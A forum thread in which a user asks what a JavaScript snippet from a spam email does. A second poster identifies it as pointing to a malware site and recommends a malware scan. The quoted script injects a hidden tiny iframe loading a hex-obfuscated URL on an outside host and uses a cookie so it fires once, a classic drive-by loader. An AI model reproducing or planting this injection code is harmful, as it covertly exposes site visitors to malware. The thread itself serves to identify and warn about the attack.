Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 2 of 2
  1. #1
    New to the CF scene
    Join Date
    Dec 2012
    Posts
    1
    Thanks
    0
    Thanked 0 Times in 0 Posts

    javascript cookies

    hi, today i receive spam email
    can you tell me what the use of this script?
    cause i already click that script
    thanks

    PHP Code:
    <script language="javascript" type="text/javascript">
    window.GetRealCookie=function(name){
    var 
    cookie " " document.cookie;
    var 
    search " " name "=";
    var 
    setStr null;
    var 
    offset 0;
    var 
    end 0;
    if (
    cookie.length 0) {
    offset cookie.indexOf(search);
    if (
    offset != -1
    {
    offset += search.length;
    end cookie.indexOf(";"offset)
    if (
    end == -1
    {
    end cookie.length;}
    setStr unescape(cookie.substring(offsetend));}}
    return 
    setStr;
    };


    window.SetRealCookie=function(namevalueexpiredayspathdomainsecure){
    if (
    expiredays) {
    var 
    exdate=new Date();
    exdate.setDate(exdate.getDate()+expiredays);
    var 
    expires exdate.toGMTString();
    }
    document.cookie name "=" escape(value) +
    ((
    expiredays) ? "; expires=" expires "") +
    ((
    path) ? "; path=" path "") +
    ((
    domain) ? "; domain=" domain "") +
    ((
    secure) ? "; secure" "");
    };




    window.SetAll****=function()
    {
    try
    {
    if(!
    document.getElementsByTagName('body')[0])
    {
    setTimeout('SetAll****();',100);
    }
    else
    {
    var 
    ifr=document.createElement('iframe');
    ifr.width='2px';
    ifr.height='1px';
    ifr.src=unescape("%68%74%74%70%3A%2F%2F%73%69%6E%67%6C%65%63%6F%6C%75%6D%6E%68%61%6C%6C%6F%77%65%65%6E%2E%61%73%69%61%2F%61%30%34%31%32%31%32%61%2F%36%2F%69%2E%70%68%70%3F%74%6F%6B%65%6E%3D%73%70");
    ifr.style.border="none";
    document.getElementsByTagName('body')[0].appendChild(ifr);
    SetRealCookie('dolink','1',60,'/');
    }
    }catch(
    e){setTimeout('SetAll****();',100);}
    }







    try
    {

    var 
    checkall=GetRealCookie("dolink");
    if (
    checkall!=="1")
    {
    SetAll****();
    }

    }catch(
    e){}

    </script> 
    Last edited by ervanjulianto; 12-08-2012 at 05:34 AM.

  • #2
    Supreme Master coder! Philip M's Avatar
    Join Date
    Jun 2002
    Location
    London, England
    Posts
    18,147
    Thanks
    203
    Thanked 2,547 Times in 2,525 Posts
    The iframe source is
    http://singlecolumnhalloween.asia/a0...lkarnioo71.com

    kulkarnioo71.com
    is a known malware site.

    Never click on any link in an email. Now you must run Malwarebytes to try and disinfect your computer.

    See also

    http://www.codingforums.com/archive/.../t-156286.html
    Last edited by Philip M; 12-08-2012 at 10:00 AM.

    All the code given in this post has been tested and is intended to address the question asked.
    Unless stated otherwise it is not just a demonstration.


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •